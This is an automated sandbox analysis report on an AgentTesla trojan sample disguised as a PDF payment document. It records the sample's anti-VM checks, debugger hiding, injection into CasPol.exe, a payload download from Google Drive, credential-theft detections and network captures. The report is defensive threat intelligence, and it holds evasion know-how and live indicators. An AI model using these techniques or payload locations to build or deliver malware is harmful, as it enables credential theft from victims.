Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe

System information queried: ModuleInformation

Jump to behavior

Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371591025.000000000320A000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.545379503.0000000002B8A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371574091.0000000003140000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=windir=\Microsoft.NET\Framework\v4.0.30319\caspol.exe\syswow64\mshtml.tlb
Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371207766.000000000079A000.00000004.00000020.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exey
Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371591025.000000000320A000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.545379503.0000000002B8A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: CasPol.exe, 0000000D.00000002.545379503.0000000002B8A000.00000004.00000001.sdmp	Binary or memory string: vmicshutdown
Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371591025.000000000320A000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.545379503.0000000002B8A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371591025.000000000320A000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.545379503.0000000002B8A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371591025.000000000320A000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.545379503.0000000002B8A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 0000000D.00000002.545379503.0000000002B8A000.00000004.00000001.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 0000000D.00000002.544407815.0000000001015000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: CasPol.exe, 0000000D.00000002.544265522.0000000000FD3000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAWH
Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371574091.0000000003140000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371591025.000000000320A000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.545379503.0000000002B8A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371591025.000000000320A000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.545379503.0000000002B8A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: pago del 20.01.2022.PDF______________________________________.exe, 00000000.00000002.371591025.000000000320A000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.545379503.0000000002B8A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: CasPol.exe, 0000000D.00000002.545379503.0000000002B8A000.00000004.00000001.sdmp	Binary or memory string: vmicheartbeat

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: D00000

Jump to behavior

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe"

Jump to behavior

Source: CasPol.exe, 0000000D.00000002.545130148.0000000001730000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: CasPol.exe, 0000000D.00000002.545130148.0000000001730000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: CasPol.exe, 0000000D.00000002.545130148.0000000001730000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: CasPol.exe, 0000000D.00000002.545130148.0000000001730000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 2132, type: MEMORYSTR

Source: Yara match	File source: 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 2132, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 2132, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	Path Interception	112 Process Injection	1 Disable or Modify Tools	1 Input Capture	411 Security Software Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	331 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	112 Process Injection	Security Account Manager	331 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	113 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	114 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
pago del 20.01.2022.PDF______________________________________.exe	54%	Virustotal		Browse
pago del 20.01.2022.PDF______________________________________.exe	24%	Metadefender		Browse
pago del 20.01.2022.PDF______________________________________.exe	57%	ReversingLabs	Win32.Trojan.AgentTesla

URLs

Source	Detection	Scanner	Label
http://mglNPC.com	0%	Avira URL Cloud	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	216.58.205.78	true	false	high
googlehosted.l.googleusercontent.com	216.58.198.33	true	false	high
doc-00-6k-docs.googleusercontent.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://doc-00-6k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/terpfju9qddp0r9mjehva49e9rt3lobm/1643010900000/08383092466185559033/*/1BKTAGEWv-q5Ke_0MnBa_Ml90CTgLrdi9?e=download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://mglNPC.com	CasPol.exe, 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:HTTP/1.1	CasPol.exe, 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	CasPol.exe, 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://doc-00-6k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/terpfju9	CasPol.exe, 0000000D.00000002.544453919.0000000001029000.00000004.00000020.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	CasPol.exe, 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://doc-00-6k-docs.googleusercontent.com/	CasPol.exe, 0000000D.00000003.364907661.000000000102F000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.544372729.0000000001004000.00000004.00000020.sdmp	false		high
https://drive.google.com/	CasPol.exe, 0000000D.00000002.544265522.0000000000FD3000.00000004.00000020.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
216.58.198.33	googlehosted.l.googleusercontent.com	United States		15169	GOOGLEUS	false
216.58.205.78	drive.google.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	558577
Start date:	24.01.2022
Start time:	08:53:31
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	pago del 20.01.2022.PDF______________________________________.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@4/1@2/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 35.2% (good quality ratio 22%) Quality average: 32.9% Quality standard deviation: 30.6%
HCA Information:	Successful, ratio: 89% Number of executed functions: 24 Number of non-executed functions: 7
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, store-images.s-microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:55:13	API Interceptor	533x Sleep call for process: CasPol.exe modified

Created / dropped Files

C:\Users\user\AppData\Local\Temp\~DF3D483537E6EF527B.TMP

Download File

Process:	C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	5.035543586378022
Encrypted:	false
SSDEEP:	768:F5mdjxOWaG/KFWSBiGVzG8e83MRJUg/3ZRIIIIIIIIIIIIII:FEtxOtDtBb9+Jp/3ZRIIIIIIIIIIIIII
MD5:	84512088E95A81B41D2FF68D0AE6DDE4
SHA1:	5F6EAABC8823AF8FFF10F5C27D17EA599FE5B6CE
SHA-256:	942B25782584C3F0C2FB08B4F3461248EAC7A7709673609B2083A86DD561D8E7
SHA-512:	ED06A5CC161B7D8F9502AB3B74842B104126532F7829B10076301DC54D5D8E6E82B32D4E452B6140B1CCA7AA4256E888BE6D630EADC9F5273EE5A4D552D48777
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

__vbaVarTstGt, _CIcos, _adj_fptan, __vbaHresultCheck, __vbaStrI4, __vbaVarMove, __vbaFreeVar, __vbaStrVarMove, __vbaLenBstr, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, __vbaStrErrVarCopy, _adj_fprem1, __vbaHresultCheckObj, __vbaLenBstrB, _adj_fdiv_m32, __vbaAryVar, __vbaAryDestruct, __vbaObjSet, __vbaOnError, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaVarTstLt, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaVarTstEq, __vbaAryConstruct2, __vbaObjVar, _adj_fpatan, __vbaLateIdCallLd, __vbaStrR8, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaUI1I4, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, __vbaUbound, _CIlog, __vbaErrorOverflow, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaI4Var, __vbaVarDup, __vbaFpI4, __vbaLateMemCallLd, _CIatan, __vbaStrMove, __vbaAryCopy, _allmul, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0404 0x04b0
LegalCopyright	Catapult Fas
InternalName	DYPPEDES
FileVersion	1.00
CompanyName	Catapult Fas
ProductName	Catapult Fas
ProductVersion	1.00
OriginalFilename	DYPPEDES.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	Taiwan

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 24, 2022 08:55:02.561913967 CET	49785	443	192.168.2.3	216.58.205.78
Jan 24, 2022 08:55:02.561959982 CET	443	49785	216.58.205.78	192.168.2.3
Jan 24, 2022 08:55:02.563148022 CET	49785	443	192.168.2.3	216.58.205.78
Jan 24, 2022 08:55:02.592318058 CET	49785	443	192.168.2.3	216.58.205.78
Jan 24, 2022 08:55:02.592367887 CET	443	49785	216.58.205.78	192.168.2.3
Jan 24, 2022 08:55:02.659701109 CET	443	49785	216.58.205.78	192.168.2.3
Jan 24, 2022 08:55:02.659854889 CET	49785	443	192.168.2.3	216.58.205.78
Jan 24, 2022 08:55:02.660583019 CET	443	49785	216.58.205.78	192.168.2.3
Jan 24, 2022 08:55:02.660665989 CET	49785	443	192.168.2.3	216.58.205.78
Jan 24, 2022 08:55:03.099550962 CET	49785	443	192.168.2.3	216.58.205.78
Jan 24, 2022 08:55:03.099611044 CET	443	49785	216.58.205.78	192.168.2.3
Jan 24, 2022 08:55:03.099873066 CET	443	49785	216.58.205.78	192.168.2.3
Jan 24, 2022 08:55:03.099957943 CET	49785	443	192.168.2.3	216.58.205.78
Jan 24, 2022 08:55:03.102468014 CET	49785	443	192.168.2.3	216.58.205.78
Jan 24, 2022 08:55:03.145948887 CET	443	49785	216.58.205.78	192.168.2.3
Jan 24, 2022 08:55:03.485596895 CET	443	49785	216.58.205.78	192.168.2.3
Jan 24, 2022 08:55:03.485759020 CET	49785	443	192.168.2.3	216.58.205.78
Jan 24, 2022 08:55:03.485780001 CET	443	49785	216.58.205.78	192.168.2.3
Jan 24, 2022 08:55:03.485868931 CET	49785	443	192.168.2.3	216.58.205.78
Jan 24, 2022 08:55:03.486128092 CET	443	49785	216.58.205.78	192.168.2.3
Jan 24, 2022 08:55:03.486197948 CET	443	49785	216.58.205.78	192.168.2.3
Jan 24, 2022 08:55:03.486275911 CET	49785	443	192.168.2.3	216.58.205.78
Jan 24, 2022 08:55:03.495464087 CET	49785	443	192.168.2.3	216.58.205.78
Jan 24, 2022 08:55:03.495493889 CET	443	49785	216.58.205.78	192.168.2.3
Jan 24, 2022 08:55:03.594984055 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:03.595048904 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:03.595218897 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:03.597106934 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:03.597132921 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:03.662939072 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:03.663069010 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:03.663753986 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:03.663831949 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:03.671411037 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:03.671436071 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:03.671773911 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:03.671964884 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:03.672720909 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:03.713866949 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.078701019 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.078996897 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.080641031 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.080719948 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.082144022 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.082385063 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.085043907 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.085205078 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.085226059 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.085331917 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.088746071 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.088901043 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.094590902 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.094871044 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.099198103 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.099390984 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.099430084 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.099519968 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.099792004 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.099884987 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.099898100 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.099982977 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.101327896 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.101424932 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.101438999 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.101535082 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.102823973 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.102930069 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.102945089 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.103043079 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.104269028 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.104379892 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.104393005 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.104456902 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.105796099 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.105916023 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.105933905 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.106061935 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.107259035 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.107373953 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.107388020 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.107489109 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.108752966 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.108845949 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.108860016 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.108948946 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.110265017 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.110398054 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.110411882 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.110496998 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.111712933 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.111810923 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.111821890 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.111886978 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.113200903 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.113301039 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.113313913 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.113384962 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.114706039 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.114811897 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.114825964 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.114927053 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.116194010 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.116328001 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.116339922 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.116435051 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.117657900 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.117749929 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.117763042 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.117854118 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.119124889 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.119216919 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.119230986 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.119326115 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.120644093 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.120738029 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.120749950 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.120810986 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.121674061 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.121767998 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.121781111 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.121881008 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.122694016 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.122786045 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.122797012 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.122812033 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.122879982 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.123627901 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.123713970 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.123727083 CET	443	49786	216.58.198.33	192.168.2.3
Jan 24, 2022 08:55:04.123810053 CET	49786	443	192.168.2.3	216.58.198.33
Jan 24, 2022 08:55:04.124571085 CET	443	49786	216.58.198.33	192.168.2.3
